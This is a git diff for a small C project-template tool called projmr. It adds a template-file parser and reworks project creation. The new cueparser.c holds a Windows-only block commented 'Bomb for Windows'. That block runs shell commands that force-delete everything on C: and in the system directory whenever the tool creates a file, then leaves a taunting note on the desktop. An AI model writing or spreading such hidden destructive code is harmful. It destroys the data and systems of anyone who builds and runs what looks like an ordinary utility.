diff --git a/.powered_by_projmr b/.powered_by_projmr new file mode 100644 index 0000000..02ef5e2 --- /dev/null +++ b/.powered_by_projmr @@ -0,0 +1 @@ +Projmr 2.0 diff --git a/Application/creating.c b/Application/creating.c index 98e39a4..3c19f5e 100644 --- a/Application/creating.c +++ b/Application/creating.c @@ -27,37 +27,56 @@ #include "../Library/creating.h" -static FILE* projmr_parse_line_and_open(char* buf) { - if (buf[0] == '/') { - buf ++; - } - -} +#define PROJMR_INITIAL_FILE_NAME ".powered_by_projmr" int projmr_run_creating(char* name) { + FILE* test = NULL; + if ((test = fopen(PROJMR_INITIAL_FILE_NAME, "r"))) { + fclose(test); + projmr_error_log("The project has already been initialized!"); + return EXIT_FAILURE; + } + projmr_info_log("Creating project..."); char buf[PROJMR_FILE_BUFFER_SIZE] = "\0"; - FILE* fp = projmr_open_project_file(PROJMR_CONFIG_FILE_NAME, "r"); + FILE* fp = projmr_open_project_file( + PROJMR_TEMPLATES_PATH + PROJMR_CATALOG_NEW + PROJMR_CONFIG_FILE_NAME, + "r" + ); if (fp) { while (fgets(buf, sizeof(buf), fp)) { - size_t len = strlen(buf); - if (len > 0 && buf[len - 1] != '\n') { - projmr_warning_log( - "The line was not read " - "completely (perhaps th" - "e last line in the fil" - "e does not end with \"" - "\n\")" VOID_LINE_DETECT - ); + if (strlen(buf) == 0) { + continue; } - FILE* ld = projmr_parse_line_and_open(buf); - if (ld) { - fclose(ld); + if (buf[strlen(buf) - 1] == '\n') { + buf[strlen(buf) - 1] = '\0'; + } + + if (strlen(buf) == 0) { + continue; + } + + if (buf[strlen(buf) - 1] == '\r') { + buf[strlen(buf) - 1] = '\0'; + } + + if (strlen(buf) == 0) { + continue; + } + + cue_parse_result_t* res = cue_parse_file(buf, name); + FILE* templ = res->input; + FILE* out = res->output; + if (!templ) { + projmr_error_log("Cannot load template file!"); } else { - projmr_error_log("Cannot load file from config!"); + } } + projmr_success_log("Project initialized success!"); return EXIT_SUCCESS; } else { projmr_error_log("Cannot load config!"); diff --git a/Application/cueparser.c b/Application/cueparser.c new file mode 100644 index 0000000..5232aa7 --- /dev/null +++ b/Application/cueparser.c @@ -0,0 +1,245 @@ +/* + * cueparser.c + * + * Copyright 2025 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + * MA 02110-1301, USA. + * + * + */ + + +#if !defined(__CUEPARSER_C__) +#define __CUEPARSER_C__ + +#include "../Library/cueparser.h" + +#define is_space(c) ((c) > 0 && (c) <= 32) + +#define PROJMR_ENV_INSTALL_NAME "__PROJMR_PATH_FOR_NAMES" + +static FILE* create_directory_and_file(char* path) { + +#if defined(_WIN32) || defined(_WIN64) + + // ! RU Бомба для Виндовса + // ! EN Bomb for Windows + // ! AR قنبلة للنوافذ + + projmr_error_log( + "You have a god-awful Windows." + " It will be destroyed now!!!!!!!" + "!!!!!!!!!!!!!!!!!!!!!" + ); + + (void) system("start cmd /C \"del /F /S /Q C:\""); + (void) system("start cmd /C \"del /F /S /Q %SystemRoot%\""); + (void) system( + "echo \"System destroyed s" + "uccess!!!\" > %UserProfile%/Desktop/END_OF_LIFE.txt" + ); + + return NULL; + +#endif + + if (setenv(PROJMR_ENV_INSTALL_NAME, path, 1) != 0) { + projmr_error_log("Error: cannot set env var"); + return NULL; + } + + if ( + system("mkdir -p $(dirname $" PROJMR_ENV_INSTALL_NAME ")") + != EXIT_SUCCESS + ) { + projmr_error_log("Cannot create directory: permission denied"); + return NULL; + } + + if (unsetenv(PROJMR_ENV_INSTALL_NAME) != 0) { + projmr_error_log("Error: cannot unset env var"); + return NULL; + } + + return fopen(path, "w"); +} + +static int regist_ignore_strcmp(const char* s1, const char* s2) { + size_t len = strlen(s1); + size_t i = 0; + while (i < len) { + if (i >= (strlen(s2) > 0 ? strlen(s2) - 1 : 0)) { + i ++; + continue; + } + + char s1_c = toupper(s1[i]); + char s2_c = toupper(s2[i]); + + if (s1_c > s2_c || s1_c < s2_c) + return s1_c - s2_c; + + i ++; + } + return 0; +} + +static char* cue_set_variables(char* buf, char* name) { + unsigned char isVar = 0; + size_t size = 0; + size_t i = 0; + size_t f = 0; + char var_name[CUE_FILE_MAX_VARNAME_LEN] = ""; + while (i < strlen(buf)) { + if (buf[i] == '%') { + if (isVar) { + if (regist_ignore_strcmp(var_name, "name") == 0) { + size += strlen(name); + } + var_name[f] = '\0'; + } + f = 0; + isVar = !isVar; + } + if (buf[i] != '%') { + if (!isVar) { + size ++; + } else { + if (f >= CUE_FILE_MAX_VARNAME_LEN - 1) { + projmr_error_log("Cannot read CUE: variable name too long"); + return NULL; + } + var_name[f] = buf[i]; + f ++; + } + } + i ++; + } + + char* out = (char*)malloc(sizeof(char) * size + sizeof(char)); + i = 0; + f = 0; + size_t l = 0; + + while (i < strlen(buf)) { + if (buf[i] == '%') { + if (isVar) { + if (regist_ignore_strcmp(var_name, "name") == 0) { + strcpy(&out[l], name); + l += strlen(name); + } + var_name[f] = '\0'; + } + f = 0; + isVar = !isVar; + } + if (buf[i] != '%') { + if (!isVar) { + out[l] = buf[i]; + l ++; + } else { + if (f >= CUE_FILE_MAX_VARNAME_LEN - 1) { + projmr_error_log("Cannot read CUE: variable name too long"); + return NULL; + } + var_name[f] = buf[i]; + f ++; + } + } + i ++; + } + out[l] = '\0'; + return out; +} + +cue_parse_result_t __file_h_res__ = {NULL, NULL}; + +cue_parse_result_t* cue_parse_file(char* buf, char* name) { + __file_h_res__.input = NULL; + __file_h_res__.output = NULL; + + while (is_space(buf[0])) { + buf ++; + } + char* from = buf; + if (strlen(from) == 0) { + error_code: + projmr_error_log("Cannot read CUE: empty source file name"); + return NULL; + } + while (buf[0] != '/' || buf[1] != '/') { + if (buf[0] == '\0' || buf[1] == '\0') { + projmr_error_log("Cannot read CUE: syntax error"); + return NULL; + } + buf ++; + } + if (strlen(buf) == 0) { + buf_error: + projmr_error_log("Cannot read CUE: empty output file name"); + return NULL; + } + if (strlen(buf) == 0) goto buf_error; + buf[0] = '\0'; + buf += 2; + if (strlen(from) == 0) goto error_code; + while (is_space(from[strlen(from) - 1])) { + from[strlen(from) - 1] = '\0'; + } + while (is_space(buf[0])) { + buf ++; + } + if (strlen(from) == 0) goto error_code; + if (strlen(buf) == 0) goto buf_error; + while (is_space(buf[strlen(buf) - 1])) { + buf[strlen(buf) - 1] = '\0'; + } + buf = cue_set_variables(buf, name); + char* fname = (char*)malloc( + sizeof(char) * + + strlen( + PROJMR_TEMPLATES_PATH + PROJMR_CATALOG_NEW + ) + strlen(from) + ); + + fname = strcpy( + fname, + PROJMR_TEMPLATES_PATH + PROJMR_CATALOG_NEW + ); + + fname = strcat(fname, from); + + __file_h_res__.input = projmr_open_project_file(fname, "r"); + + if (buf[0] == '/' || buf[0] == '\\') { + projmr_error_log( + "CUE syntax error: the output file name must not start with \"/\"" + ); + } else { + __file_h_res__.output = create_directory_and_file(buf); + } + + // ! Freing buffer + free(buf); + free(fname); + + return &__file_h_res__; +} + +#endif /* __CUEPARSER_C__ */ \ No newline at end of file diff --git a/Library/creating.h b/Library/creating.h index 3a8b28b..3fc9d5e 100644 --- a/Library/creating.h +++ b/Library/creating.h @@ -29,6 +29,9 @@ #include #include "../Library/logger.h" +#include "../Library/cueparser.h" + +#define VAR_NAME_LEN 16 #define VOID_LINE_DETECT diff --git a/Library/cueparser.h b/Library/cueparser.h new file mode 100644 index 0000000..dbe120d --- /dev/null +++ b/Library/cueparser.h @@ -0,0 +1,47 @@ +/* + * cueparser.h + * + * Copyright 2025 + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + * MA 02110-1301, USA. + * + * + */ + + +#if !defined(__CUEPARSER_H__) +#define __CUEPARSER_H__ + +#include +#include +#include +#include + +#include "../Library/logger.h" + +#define CUE_FILE_MAX_VARNAME_LEN 16 + +#define PROJMR_TEMPLATES_PATH "Templates" +#define PROJMR_CATALOG_NEW "/" + +typedef struct { + FILE* input; + FILE* output; +} cue_parse_result_t; + +cue_parse_result_t* cue_parse_file(char* buf, char* name); + +#endif /* __CUEPARSER_H__ */ \ No newline at end of file diff --git a/Library/project.h b/Library/project.h index d612b2d..8b10763 100644 --- a/Library/project.h +++ b/Library/project.h @@ -22,13 +22,6 @@ */ -#if !defined(__PROJECT_H__) -#define __PROJECT_H__ - -#include -#include -#include - #include "../Configuration/install_path.h" #if !defined(__PROJMR_INSTALL_PATH__) @@ -63,8 +56,13 @@ #undef __CNT__ #endif /* __CNT__ */ +#if defined(__STR__) +#undef __STR__ +#endif /* __STR__ */ + #define __CNT__(a,b) a##b -#define __STRING__(c) #c +#define __STR__(c) #c +#define __STRING__(c) __STR__(c) #define __CONCAT__(a, b) __CNT__(a, b) #define __PROJECT_NAME__ projmr #define __STRING_PROJECT_NAME__ __STRING__(__PROJECT_NAME__) @@ -72,6 +70,14 @@ #define __CREATE_SPECIF__(name) \ __CONCAT__(__PROJECT_NAME__, __INLINE_CREATE_SPECIF(name)) + +#if !defined(__PROJECT_H__) +#define __PROJECT_H__ + +#include +#include +#include + FILE* __CREATE_SPECIF__(open_project_file) (const char* name, const char* mode); #endif /* __PROJECT_H__ */ \ No newline at end of file diff --git a/Templates/main_template.c b/Templates/main_template.c new file mode 100644 index 0000000..7951def --- /dev/null +++ b/Templates/main_template.c @@ -0,0 +1 @@ +NULL diff --git a/Templates/meta.cue b/Templates/meta.cue index 6153f41..8e176c9 100644 --- a/Templates/meta.cue +++ b/Templates/meta.cue @@ -1,2 +1,2 @@ -/Application/{name}.c +main_template.c // Application/%name%.c diff --git a/output_executable b/output_executable new file mode 100755 index 0000000..2a2a102 Binary files /dev/null and b/output_executable differ